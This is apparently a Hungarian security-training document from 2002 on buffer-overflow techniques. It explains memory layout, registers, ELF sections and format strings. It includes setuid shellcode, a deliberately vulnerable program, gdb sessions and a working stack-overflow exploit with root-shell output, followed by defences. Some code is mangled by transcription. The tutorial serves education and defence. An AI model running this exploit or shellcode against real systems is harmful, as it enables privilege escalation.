SaveAs. overflow technikák

Méret: px
Mutatás kezdődik a ... oldaltól:

Download "SaveAs. overflow technikák"

Átírás

1 technikák SaveAs Oktatási Anyag overflow technikák Készült: 2002 március 1. A dokumentum a fedőlappal együtt 40 számozott oldalt tartalmaz.

2 1. TARTALOMJEGYZÉK OKTATÁSI ANYAG 1 1. TARTALOMJEGYZÉK 2 2. BEVEZETŐ Célkitűzés Adatbiztonságról általában Az overflow technológiák osztályozása Történelmi áttekintés 6 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL Az etikátlan felhasználás Az etikus felhasználás 8 4. ALAPOK Memóriakezelés Stack Heap Regiszterek Processzek (feladatok) felépítése Processzek (feladatok) futása Format stringek SHELL KÓDOK OVERFLOW TÍPUSOK Stack Overflow Frame Pointer Concept Példa program Védekezés 21 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 2. oldal, összesen: 40

3 6.2. Heap Overflow A Heap felülírásának módja Példa program A hiba kihasználása Védekezés dtors Overflow A.dtors felülírása Példa program A hiba kihasználása Védekezés Format String overflow Példa program A hiba kihasználása Védekezés Egyéb lehetőségek Felülírható memóriaterületek Védekezés FELHASZNÁLT IRODALOM EGYÉB Jelen dokumentum közlése Az információk minőségéről CopyRight Kizárólagos jogok 40 Hasznosítás és többszörözés 40 Nyilvánossághoz való közvetítés és idézés 40 Oktatás 40 Minden más esetben 40 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 3. oldal, összesen: 40

4 2. BEVEZETŐ 2.1. Célkitűzés Jelen tanulmány célja, hogy a biztonságtechnikai fejlesztésekkel, kutatással, megvalósítással foglalkozó szakembereknek bemutasson egy olyan technológiát, technológiai hátteret, melynek megértésével szakmai feladataikat jobban elláthassák, valamint a potenciális veszélyforrásokat hatékonyabban, gyorsabban felismerjék. A dokumentum feltételez minimális rendszerismeretet, C és Assembly programozási tudást, ugyanakkor a technológia megértéséhez nem elengedhetetlenül szükségesek a fentiek. A példaprogramok Linux operációs rendszeren készültek. A dokumentumnak nem célja, hogy teljes és átfogó ismereteket nyújtson az Overflow típusú hibák kihasználásához, valamint ezt a veszélyes technológiát megtanítsa, de célja, hogy megismertesse az érdeklődőkkel minden esetben egy - kiragadott, egyszerű, azonban a valóságban ritkán, vagy egyáltalán nem előforduló - példát alapul véve Adatbiztonságról általában Napjaink egyik fenyegető kihívása, hogy az adatainkat, szolgáltatásainkat a lehető legnagyobb biztonságba tudjuk adatvédelmi és rendszerbiztonsági üzemeltetési oldalról egyaránt. Ez nem csak erkölcsi fenyegetettséget, de egyre inkább jól megfogalmazható üzleti érdeket is tartalmaz. Fontos, hogy futtatott alkalmazásaink nem csak funkcionalitásukban, de biztonsági szolgáltatásaikban is betartsák az elvárható maximumot és megfeleljenek a nemzetközi standardoknak. A biztonsági kutatások publikált eredményeinek köszönhetően egyre szűkülnek a fehér foltok, mégsem mondhatjuk, hogy az alkalmazások, a futtató környezetek hibátlanok. Gondoljunk bele! Pár évvel ezelőtt teljesen biztonságos módszernek számított a telnet protokollon keresztüli távoli menedzsment, míg valaki rá nem mutatott, hogy a továbbított adatok a jelszavakkal együtt lehallgathatóak (sniffelhetőek). Kiderültek olyan hibaforrások, melyekkel régen, az eredeti koncepcióban nem is kellett foglalkozni, az alkalmazott környezetben elő sem fordulhattak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 4. oldal, összesen: 40

5 Helyezzük most a hangsúlyt a programozói hibák kihasználására! A biztonságos fejlesztő eszközök, biztonságos (minősített) programozáshoz szükséges standardok rendelkezésre állnak. Komoly hozzáférési modelleket is kidolgoztak az adatok védelme érdekében. Nem garantálható ugyanakkor, hogy ezek teljes betartása esetén sem maradnak a programsorok között olyan elemek, amelyek megfelelő paraméterezéssel a programot illegális működésre bírják. A programok (processzek, folyamatok) működése, felépítése történelmi, úgy is mondhatnánk architektúrális örökség. Nem csak az alkalmazásoknak, hanem a futtató környezetnek is együtt kell élni vele. Gondoljunk csak az Intel processzorok néhai f00f 1 hibájára. Egy-egy ilyen rejtett, de kihasználható hibát nem csak az alacsony rétegen futó mikro kódok, de az alkalmazások is tartalmazhatnak, és sok esetben egy rosszul felépített logikai csapda, rosszul paraméterezett utasítás is lehet egy kihasználható hiba forrása Az overflow technológiák osztályozása A legtipikusabb programozói hiba által indukált kihasználható támadási felület az overflow lehetősége. Ezeknek a hibáknak a gyökere minden esetben a nem megfelelően védett vagy mozgatott memória területekben keresendő. Maga az overflow szó is felülírást, felülcsordulást jelent. A technológia nem mai keltezésű, csak a vállfajai lehetnek újak. Általánosságban elmondhatjuk, hogy ezek kihasználhatósága nem minden esetben adott. Egy overflow típusú hibáról csak akkor mondhatjuk el, hogy kihasználható és a kihasználásának van is értelme - ha a következő kritériumok is teljesülnek: Az alkalmazás egy belső változója felett részleges, vagy teljes vezérlést lehet szerezni és ennek segítségével a deklarált jogokat növelni. Az alkalmazást illegális művelet végrehajtására lehet bírni. Az alkalmazás olyan jogokkal rendelkezik futásidőben, amelynek megszerzésével a rendszer kompromittálható. Az alkalmazás feletti kontroll megszerzésével dedikált jogosultságok növelhetőek. Az alkalmazás segítségével meghatározható műveletsor indukálható a jövőben. 1 Az intel processzorok tartalmaztak egy f00f bug néven elhíresült hibát. A hiba lényege az volt, hogy a processzor az F0 0F C7 C8 utasítás-szekvencia dekódolásakor a LOCK CMPXCHG8B EAX műveletsort kapta, amelyből a CMPXCHG8B utasítás 64 bites összehasonlítása az EDX:EAX tartalmának és egy memóriaterületnek. Mivel létezik olyan EDX:EAX tartalom, amely nem a memória egy részére mutat, így a processzor illegális utasítást generál. Ugyanakkor mivel az utasítás LOCK előtaggal rendelkezik, a processzor mikro kódja feloldhatatlan holtpontba ütközik, nem tud tovább funkcionálni. Bővebben: SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 5. oldal, összesen: 40

6 Megállapíthatjuk, hogy egy hiba kihasználhatósága nagyban függ a hiba és a hibát tartalmazó folyamat környezetétől. Nem mondhatjuk ugyanakkor, hogy egy hiba megléte, de a környezet hiányossága mellett a hiba nem biztonsági rés. A folyamatos kutatások eredményei alátámasztják azt a tényt, hogy a hibák jelen tudás szerinti kihasználhatatlansága nem nyújthat garanciát mindörökké Történelmi áttekintés Az első overflow típusú hiba felfedezése 1980 környékére datálódik, a szakirodalom ettől az évtől ismeri a Stack Overflow fogalmát. A veszély realizálódása azonban 1995-ig váratott magára. Az akkoriban sokaknak újnak számító technológia végigsöpört a világ biztonsági laborjain. A legtöbbet hivatkozott publikációt 1996-ban Aleph One publikálta 2 Smashing The Stack For Fun and Profit 3 címen, majd ezt követték 1997-ben How to Write Buffer Overflows 4 címen Murge, és Stack Smashing Vulnerabilities in the UNIX Operating System 5 címen Nathan P. Smith, majd 1998-ban The Tao of Windows Buffer Overflows 6 címen DilDog publikációi. Ezek a tanulmányok mind a Stack Overflow hibákról értekeztek. A következő áttörést 1998 környékén a Heap Overflow típusú hibák jelentették. Az első tanulmányok egyikét a w00w00 Security Team publikálta 1999-ben w00w00 on Heap Overflows 7 címen. Ez a technológia kicsit bonyolultabb volt, mint a Buffer Overflow, hiszen a különböző memóriacímek futásidőben kerültek meghatározásra, így sok esetben jelentősen megnehezítve a kihasználást, és megkönnyítve a felderítést végén aztán egy ELF szerkezeti hibát kihasználva felmerült a.dtors típusú overflow lehetősége, amelyről Juan M. Bello Rivas adott ki 2000 elején egy tanulmányt Overwriting the.dtors section 8 címen. A következő áttörést a 2000 végén felfedezett Format String Overflow technika jelentette, amely ismét rengeteg fejtörést okozott a fejlesztőknek. A témában a TESO Security Team 2001 elején közölt egy publikációt Exploiting Format String Vulnerabilities 9 címen. 2 Az Aleph One által kiadott tanulmány akkora sikernek örvendett, hogy nagyon sok publikált exploit kódban a mai napig az általa írt Shell kód található SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 6. oldal, összesen: 40

7 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL Már az eddigiekből is kiderül, az overflow technológia használata kétélű fegyver. Használata, kihasználása csak azon múlik, aki alkalmazza. A következőkben látni fogjuk, hogy a kutatás mellett mennyire fontos szerepe van a védekezésben, és a bizonyítási eljárásokban éppúgy, mint a kód-, rendszer átvizsgálások során, és mekkora veszélyt jelenthetnek egy nem kontrollált támadás során Az etikátlan felhasználás A digitális társadalom fejlődésével mind fokozottabb veszélynek vannak kitéve azok az alkalmazások, szolgáltatások, amelyeknek kompromittálódása erkölcsi, anyagi kárt jelenteke mind az üzemeltetőknek, mind a felhasználóknak. A biztonsági hiányosságokat kihasználó felhasználó, rosszindulatú támadó sok esetben alkalmazza az overflow technológiák egyikét. Egy rosszul, vagy csak hiányosan védett rendszerben végtelen károkat képes okozni egy ilyen hiányosság. Könnyű belátni, hogy egy teljesen digitális társadalomban ahol a személyes információktól elkezdve a szociális hálót működtető infrastruktúrák vezérlése, számlainformációk, sőt, gazdasági döntéseket elősegítő adatok is digitálisan vannak tárolva mekkora gondot okozhat ezen adatoknak a sérülése. De az etikátlan felhasználás nem csak adatok sérülését jelenti. Az adatlopás, adatmanipulálás, jogosulatlan hozzáférés napjaink problémája is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 7. oldal, összesen: 40

8 3.2. Az etikus felhasználás A biztonsági fejlesztések, kutatások, auditok fontos eleme a tesztelés, és a bizonyítás. Egy biztonsági átvizsgálásnál elengedhetetlenül fontos, hogy felismerjük, és analizáljuk az esetleges hibákat, a hibák kihasználásának lehetőségeit. A kijelentéseinket alá is kell támasztani. A kód audit vagy egy penetration test során talált overflow típusú hibának a kihasználására írt minta alkalmazást hívjuk proof-of-concept kódnak. Ez a kód szolgál arra, hogy bebizonyítsuk a hiba létét, előremutat a hiba kihasználhatósági területeire, de nem tartalmaz olyan részt, amellyel kárt lehet okozni. Sok esetben a publikált proof-of-concept 10 kódok hibásak annak elkerülésére, hogy a kód illetéktelen kézbe kerülése sem jelentsen veszélyt az információs társadalomra. Ezek a kódok szolgálnak az átvizsgálási jegyzőkönyvek bizonyítékául. 10 Népszerű biztonsági réseket publikáló lista a Bugtraq néven elhíresült a Securityfocus.com által fenntartott levelezőlista és a szinten a Securityfocus.com által fenntartott SecurityFocus biztonsági portál ( Az itt előforduló publikációk olykor heves vitákat váltanak ki a közösségen belül. Ezek a viták, és a publikációk veszélyessége vezettek olyan dekrétumok bevezetéséhez, mint a Full Disclosure és a Non Disclosure. A Full Disclosure (Teljes közlés) irányzat támogatói a hibák publikálása mellett, míg a Non Disclosure (Hallgatás) irányzat támogatói a hibák titokban tartása mellett foglalnak állást többször egy irányzaton belül is különböző okokból. A Full Disclosure mellett foglalt állást például a SecurityFocus.com ( A Non Disclosure mellett foglalt állást például a Microsoft ( sőt, egy alternatív hacker csoport is ( Érdekes látni a választás okai közötti különbséget. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 8. oldal, összesen: 40

9 4. ALAPOK 4.1. Memóriakezelés A folyamatok futásuk során kezelt, vagy futás közben generálódott adataik kezelésére memóriát használnak. A memória kezelése többféle módon valósulhat meg. A klasszikus memóriakezelési x86 modellben három, egymástól jól elkülönülő memóriaterületet definiáltak: Stack szegmens Kód szegmens Adat szegmens Az idők során az adatszegmens több külön részre kellett bontani, így a mai modellekben az adat szegmens vagy nem is jelentkezik (a kód szegmens része), vagy a statikusan definiált adatok tárolására használják. Így különvált például az inicializált és a nem inicializált, de a program futásakor létező adatok tárolására szolgáló memóriaterület és a dinamikusan allokált memóriaterület is (.bss,.data, heap). A memória használata körülbelül így néz ki: Környezeti változók, p aram étere k Stack BSS User Stack Fram e Data Kód Heap SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 9. oldal, összesen: 40

10 Kód #include <stdio.h> #include <stdlib.h> int a = 1; //.data int b; //.bss char *c; //.bss void function(void) { int d = 1; // stack int e; // stack char *f; // stack c=(char*)malloc(10); // heap } Stack A Stack vagy verem az a memóriaterület, ahova a rendszer az átmeneti adatokat tárolja. A Stack használata LIFO metódussal történik, azaz, ami utoljára belekerült, az fog először kikerülni. A használatának szemléletére legjobban egy kalapot lehet használni: Folyamat Stack Pointer Stack legfelső eleme A folyamatok ebben a memóriaterületben tárolják a paramétereket, vagy azok címeit, és a különböző ugrási táblázatokat, rendszerváltozókat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 10. oldal, összesen: 40

11 Heap A Heap vagy halom memóriaterület a dinamikusan definiált változók tárolására szolgál. Ebben a memóriaterületben foglal helyet magának az összes dinamikus változó futásidőben a malloc() realloc() és egyéb, erre szolgáló utasítások segítségével Regiszterek A folyamatok futásuk során a magas szintű nyelveken definiált változókat lefordítják memóriacímkékre, és azokat különböző regiszterekben tárolják. Ezeket a regisztereket címezhetjük 8, 16 és 32 bites címtartományban is. Azonban nem csak felhasználói regisztereket használ egy rendszer. Regiszterekben tárolja a programok futásával kapcsolatos információkat is. Lássuk, milyen regisztereket használ a rendszer: Regiszter neve Használat Típus [%al:%ah], [%bl:%bh], [%cl:%ch], [%dl:%dh] 8 bites általános célú regiszter Általános %ax, %bx, %cx,%dx 16 bites általános célú regiszter (LOW-END) Általános %eax, %ebx, %ecx, %edx 32 bites áltatlános célú regiszter Általános %ebp 32 biter Frame Pointer Pointer %esp 32 bites Stack Pointer Pointer %bp 16 bites Frame Pointer (LOW-END) Pointer %sp 16 bites Stack Pointer (LOW-END) Pointer %cs Kód szegmens Segment %ds, %es, %fs, %gs Adat szegmens Segment %ss Stack szegmens Segment %cr0, %cr2, %cr3 Processz kontroll Controll %db0, %db1, %db2, %db3, %db6, %db7 Nyomkövető regiszter Debug %tr6, %tr7 Teszt regiszter Test %st - %st(0), %st(1), %st(2), %st(3), %st(4), %st(5), %st(6), %st(7) Lebegőpontos regiszterek Float Stack %eip Aktuális utasításra mutató regiszter PSW SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 11. oldal, összesen: 40

12 4.3. Processzek (feladatok) felépítése Minden folyamatnak kell, hogy legyen egy szerkezete ahhoz, hogy az operációs rendszer azt értelmezni tudja. Minden folyamat fordításkor megkapja azokat a területeket, amelyek a későbbiekben fontos lehet a működése során. A teljesség igénye nélkül nézzük meg egy ELF bináris fontosabb területeit:.interp.hash.dynsym.dynstr.init.plt.text.fini.rodata.data.got.dynamic.bss.stabstr.comment.note.ctors.dtors Elérési út a program interpreteréhez Szimbólum hash tábla Dinamikusan Linkelt szimbólum tábla A dinamikus linkeléshez szükséges stringek Inicializáló kód Függvény link tábla Futtathatósági instrukciók A folyamat futásának végén lefutó kód Csak olvasható adat Inicializált adatok, amik jelen vannak fordításkor Általános OFFSET tábla Információk a dinamikus fordításhoz Nem inicializált adatok A szimbólum táblához rendelt nevek Megjegyzések (fordító, verzió kontroll) Fájl megjegyzések Konstruktor Destruktor 4.4. Processzek (feladatok) futása Ahogy az már az eddigiekből is kiderült, a folyamatok futása nem szekvenciális. Léteznek olyan utasítások, amelyek a futó kódot elágaztatják, elugratják, vagy megszakítják a futását. Ilyen utasítások a JMP (feltétel nélküli ugrás), JNZ, JNE (feltételes ugrások), vagy a CALL (szubrutin hívás). Az olyan speciális esetekben, mint a CALL szükség van egy visszatérési értékre is, hiszen a szekvenciális futás megszakadt ugyan, de az elágazás után vissza kell térni az eredeti feladathoz. A fenti probléma megoldására alakult ki a Frame Pointer SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 12. oldal, összesen: 40

13 Concept (FPC) eljárás, melynek során a visszatérési értéket a rendszer elhelyezi a Stack területen, majd a szubrutin visszatértekor onnét felveszi azt. Bővebben lásd a FPC leírásánál. A folyamatok futása során fontos egy regiszter értéke is. A rendszer a futás aktuális helyzetét a %EIP regiszterben tárolja. Ez a regiszter csak olvasható. Fontos megjegyezni azt is, hogy ellentétben a kernel által használt memóriaterületekkel, a felhasználói memória nem folytonos Format stringek A folyamatoknak lehetősége van futásidőben formázott kimenetet biztosítani a felhasználók felé a program belső változóiról. Erre a feladatra használjuk a formázó karaktersorozatokat. A formázó karakterek segítségével lehetőségünk van ugyanakkor speciális konverziók elvégzésére is, mint például numerikus értékek karaktersorozattá alakítása, számrendszerváltás, vagy akár numerikus értékek kaszttolása 11 is. A formázó karakterektől a következő táblázat ad rövid összefoglalót: Kód Formátum %c Karakter %d Előjeles decimális szám %i Előjeles decimális szám %e Tudományos jelölése %f Lebegőpontos szám %o Előjel nélküli oktális %s Karakterlánc %u Előjel nélküli decimális szám %x Előjel nélküli hexadecimális szám %p Mutató megjelenítése (pointer) %n Integer mutató (ált. az eddig kiirt karakterek száma) %% % jel 11 Minden folyamatban a numerikus értékeknek kasztja típusa van. Ezek a típusok meghatározzák, hogy a szám hány biten, és milyen formában van tárolva. A legismertebb kasztok az int (16 bites egész), long int (32 bites egész), float (16 bites lebegő pontos), double (32 bites lebegőpontos), stb. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 13. oldal, összesen: 40

14 SHELL KÓDOK Shell kódnak azt a bináris adatfolyamot nevezzük, amely megfelelő körülmények között futásidőben egy folyamat részévé válik, és megfelelő körülmények között meghívva a támadó számára kívánatos cselekvéssort hajtja végre. Megírása hatalmas arhitekturális és programozói ismereteket igényel, hiszen meg kell felelni a hibás rendszer összes vélt vagy valós, tervezett vagy adott védelmi mechanizmusának. Tipikusnak mondható shell kód feladatok a következőek: Program indítása (pl.: execve() függvény) Könyvtár létrehozása (pl.: mkdir() függvény) Fájl létrehozása (pl.: open(),close() függvények) Fájl módosítása (pl.: open(),write(),read(),close() függvények) Socket kezelés (pl.: bind(),connect(),listen() függvények) A kód futása érdekében a feladatok megoldására minden esetben rendszerhívásokat kell alkalmazni, hiszen a nem rendszerhívások címei nem ismertek. Nem alkalmazhatjuk tehát a call direktívát. Figyelembe kell vennünk azt is, hogy a beinjektált shell kód konverziókon fog keresztülmenni, amik során a kód nem, vagy csak kívánatos módon módosulhat. A kívánatos módosulás kiszámolását más néven reverse engeenering-nek is hívjuk. Vegyünk pár példát! A legegyszerűbb eset, a sima strcpy() másolása az injektált kódnak. Ebben az esetben a függvény \0 termináló karakterig másolja a string tartalmát a cél memóriaterületre. Tehát elkerülendő, hogy a shell kód ilyen karakter szekvenciát tartalmazzon. Előfordulhat olyan speciális eset is, amelynek során csak minden 16 bites szó alsó bájt-ját tudjuk kontrollálni, és a felső bájt fix. Olyan eset is lehetséges, hogy a beinjektált szekvencia átesik egy karakterkonverzión, mely során kisbetűből nagybetű, illetve nagybetűből kisbetű lesz. Ennél a pontnál némely esetben nem csak az eltolódást kell figyelembe venni, hanem bele kell férni a szabvány ASCII karakterek által nyújtott operátor kódokba is. Bonyolultabb esetekben gyakran nyúlnak a fejlesztők a vírusírást SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 14. oldal, összesen: 40

15 idéző technológiákhoz, amely során egy eljárás segítségével a kívánt formára alakítják a szekvenciát, majd egy dekódoló eljárással bontják ki a kívánt formára. A sokkal rövidebb dekódoló eljárás természetesen megfelel a tesztelt rendszer követelményeinek. Esetünkben nem fogjuk túlbonyolítani a Shell kód követelményeit, és nem is használjuk ki minden lehetőségét. A példákban az egyetlen követelmény; nem tartalmazhat a kód \0 szekvenciát. A tevékenység is elhanyagolható, be kell állítani a jogosultságokat (UID=0; EUID=0; GID=0; EGID=0), és el kell indítani egy programot. Tehát szükségünk lesz egy setreuid(), egy setregid() és egy execve() rendszerhívásra. A kód a paraméterek összeállítására a Stack memóriát használja, így kikerülve a memóriacímek minimális ismeretének szükségességét is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 15. oldal, összesen: 40

16 Kód.text.align 4.globl main.type main: pushl %ebp movl %esp,%ebp // SYS_setreuid->setreuid(uid_t ruid, uid_t euid) // Proto: kernel/sys.c // %eax -> SYS_call_NR // %ebx -> uid_t ruid // %ecx -> uid_t euid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcb,%al int $0x80 // SYS_setregid->setregid(gid_t rgid, gid_t egid) // Proto: kernel/sys.c // %eax -> SYS_call_NR // %ebx -> gid_t rgid // %ecx -> gid_t egid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcc,%al int $0x80 // Proto: arch/i386/kernel/process.c // %eax -> SYS_call_NR // %ebx -> char * filename; // %ecx -> const char *argv[]; // %edx -> const char *envp[]; // const char *envp[] = { NULL }; xorl %edx,%edx pushl %edx // the string 2f e 2f 2f // / b i n / / s h //! reverse order! pushl $0x68732f2f // char *filename = "/bin//sh"; pushl $0x6e69622f // const char *argv[] = { "/bin//sh","null" }; movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 ret Az itt felvázolt kódból a használathoz egy stringet, karaktersort kell generálnunk. Ezt a legkönnyebbek a kód lefordításával, majd vizsgálatával érhetjük el. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 16. oldal, összesen: 40

17 6. OVERFLOW TÍPUSOK 6.1. Stack Overflow Frame Pointer Concept A folyamatok a futásuk során minden funkció hívásakor el kell, hogy tárolják a visszatérési értéket. Ezt az értéket a folyamatok a funkció hívásakor FPC használata esetén a Stack memóriaterületen helyezik el, és visszatéréskor onnét veszik fel. Könnyen belátható tehát, hogy a koncepció alkalmazása mellett a Stack-en található visszatérési érték felülírásával a program futása felett kontroll szerezhető. Ezt a koncepciót az alkalmazások gyakran használják a futásidőben történő címmeghatározásra. A következő példaprogramban bemutatjuk, hogy a main eljárásból meghívott function eljárás felveszi egy popl utasítás segítségével a Stack-ről a visszatérési értéket, betölti azt a %eax regiszterbe, majd visszateszi a normális működés érdekében és visszatér a hívó eljárásba..text.align 4.globl function.type function,@function function: popl %eax pushl %eax leave ret.globl main.type main,@function main: pushl %ebp movl %esp,%ebp subl $8,%esp call function leave ret Kód Példa program Amint az a fenti példában is látszik, a folyamatok megszakításakor a visszatérési érték a stack memóriaterületen helyezkedik el. Az eddigiekből az is látszik, hogy létezik olyan változónak szóló memóriafoglalás, amely szintén ezen a területen helyezkedik el. A két feltételezésből egyértelműen következik, hogy amennyiben a változó felett nem teljes a kontroll, a futó programot hibás működésre lehet kényszeríteni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 17. oldal, összesen: 40

18 Az alábbi példaprogram egy ilyen esetet próbál vázolni. A paraméterként kapott változót öt bájtos memóriaterületre próbáljuk bemásolni úgy, hogy a kapott változó valódi hosszúságát nem ellenőrizzük. #include <stdio.h> Kód int main(int argc, char **argv) { char buf[5]; if(argc!= 2) { printf("usage:\n%s <param>\n",argv[0]); return -1; } } strcpy(buf,argv[1]); printf("got: "); printf(buf); printf("\n"); return 0; A hiba kihasználásának érdekében egy rövid tesztelést kell végezni. A tesztelés során megállapítjuk, hogy mekkora az a méret, amely a programban hibás, de általunk kontrollált működést idézhet elő, illetve meg kell vizsgálnunk, hogy melyik az a memóriacím, ahova be tudjuk illeszteni az általunk futtatandó kódot úgy, hogy valósan le is fusson. Minta $ gdb sample (gdb) b main Breakpoint 1 at 0x : file sample.c, line 6. (gdb) r AAAAA Starting program: sample AAAAA Breakpoint 1, main (argc=2, argv=0xbffff724) at sample.c:6 6 if(argc!= 2) { (gdb) x argv[1] 0xbffff8b7: 0x (gdb) x buf 0xbffff6b4: 0x4000ab50 [ ] $./sample `perl -e 'print "A"x16';` Got: AAAAAAAAAAAAAAAA segmentation fault (core dumped)./sample `perl -e 'print "A"x16';` $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x in?? () (gdb) info registers eip eip 0x x SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 18. oldal, összesen: 40

19 A vizsgálat során megállapítottuk, hogy a hibát tartalmazó példa programba két memóriaterület is található, ahová beilleszthetjük a futtatandó kódunkat. Ez a két cím a buf és az argv[1] változók címe. Láttuk, hogy a sikeres felülíráshoz egy 16 bájt-os karaktersorozat elég, és így már felülírtuk a visszatérési értéket is, hiszen az EIP regiszter tartalmát fel tudtuk tölteni az A betű ASCII kódjával (0x41). Ezek után egy egyszerű kísérletet végezünk, hogy biztosak legyünk a hiba kihasználásának biztosságában. A kísérlet során 16 bájt-on (4 bájt-os mantisszával) a kívánt EIP értéket ismételjük és megvizsgáljuk az eredményt: Minta $./sample `perl -e 'print "\xc3\xf6\xff\xbf"x4;'` Got: Ăö żăö żăö żăö ż segmentation fault (core dumped)./sample `perl -e 'print "\xc3\xf6\xff\xbf"x4;'` $ gdb sample core Program terminated with signal 11, Segmentation fault. 0x4003d306 in libc_start_main () from /lib/libc.so.6 (gdb) info registers eip eip 0xbffff6c3 0xbffff6c3 (gdb) info registers ebp ebp 0xbffff6c3 0xbffff6c3 Láthatjuk, hogy a kapott paraméterek alapján a program futása megváltozott. A kívánt EIP értéket sikerült beállítani. Nincs tehát más dolgunk, mint hogy a megfelelő címre beillesszük a shell kódunkat. Ehhez a jobb megértés érdekében egy C programot fogunk használni. A programban a következő változókat használjuk a következő jelentéssel: OFFSET - Az eltolási érték. Ennyi bájt szükséges ahhoz, hogy sikeresen felülírjuk az EIP értékét (mindig néggyel osztható szám, mivel a cím négy bájt hosszú), valamint ennyivel kell eltolnunk a rosszul kontrollált változó címéhez viszonyítva shell kód címét. RET - A visszatérési cím, ahová a shell kódot beinjektáltuk LEN - Az a hossz, amelyet használni fogunk a paraméter hosszának. Ebbe a hosszba bele kell férnie az EIP felülírásához szükséges karakternek, valamint a shell kód hosszának is. NOP - A NOP instrukciót jelentő processzorutasítás (Intel processzorokon 0x90). Shell - Bináris kód amelynek vezérlést adva a kívánatos cselekvéssort hajtja végre. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 19. oldal, összesen: 40

20 Buffer - A paraméterkén átadott LEN hosszú karaktersorozat, amely tartalmazza OFFSET hosszúságban a RET értékét, a végén a Shell értékét. A kieső részeken NOP értékkel van feltöltve. #include <stdlib.h> #include <stdio.h> #include <unistd.h> Kód #define NOP 0x90 #define RET 0xbffff6c3 #define LEN 1024 #define OFFSET 16 char shell[] = "\x29\xdb" // sub %ebx,%ebx "\x29\xc9" // sub %ecx,%ecx "\x31\xc0" // xor %eax,%eax "\xb0\xcb" // mov $0xcb,%al "\xcd\x80" // int $0x80 "\x29\xdb" // sub %ebx,%ebx "\x29\xc9" // sub %ecx,%ecx "\x31\xc0" // xor %eax,%eax "\xb0\xcc" // mov $0xcc,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xor %edx,%edx "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\x8d\x42\x0b" // lea 0xb(%edx),%eax "\xcd\x80" // int $0x80 "\xc3" // ret ; int main(void) { char buffer[len]; long retaddr = RET; int i; for(i = 0; i < LEN; i++) *(buffer+i) = NOP; for(i = 0; i < OFFSET; i+=4) *(long *)&buffer[i] = retaddr; memcpy(buffer+(len-sizeof(shell))-1,shell,sizeof(shell)); execl("./sample","sample",buffer,null); } return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 20. oldal, összesen: 40

21 A hibás programot effektív 0 GID jogokkal felruházva, az exploit kódot lefordítva és futtatva a következő eredményt kapjuk: Minta $ ls la sample -rwxrwsr-x 1 root root Mar 3 22:05 sample $ id uid=1000(user),gid=1000(user) $./exploit sh-2.05# id uid=0(root), gid=0(root) Védekezés A tanulmány történelmi áttekintés részéből kiderült, hogy ez a támadási forma a legrégebbi ismert overflow típus. Ennek megfelelően rengeteg védekezési módszer került kidolgozásra (és rengeteg módszer a kikerülésükre). A legegyszerűbben alkalmazható védekezés a Frame Pointer Concept elkerülése, amelyet a GCC fomit-frame-pointer paraméterével érhetünk el. Az ilyen típusú védekezésre létezik támadási mód, tehát alkalmazása önmagában nem ad biztonságot. Másik módszer a rendszer Stack memóriaterületének megfelelő védelme, mely szerint letiltjuk a Stack memóriaterületen való kódfuttatást (StackGuard 12 ). Ennek a védekezési módnak is létezik több megvalósítása, amelyek közül némelyre létezik támadási módszer is. Meg kell jegyezni, hogy ez a megoldás a rendszer teljesítményét körülbelül 25%-kal rontja, mert a rendszerkönyvtárak is használják a Stack területen való kódfuttatást optimalizációs célzattal. Érdekes próbálkozás a napjainkban kidolgozott védekezési módszer, mely szerint a felhasználói memóriák címzését úgy alakítja ki a rendszer, hogy az mindenképpen tartalmazzon \0 karaktert, amely lehetetlenné teszi külső programból idegen cím bejuttatását. A legegyszerűbb védekezési módszer azonban mindenképpen a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 12 Immunix StackGuard: SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 21. oldal, összesen: 40

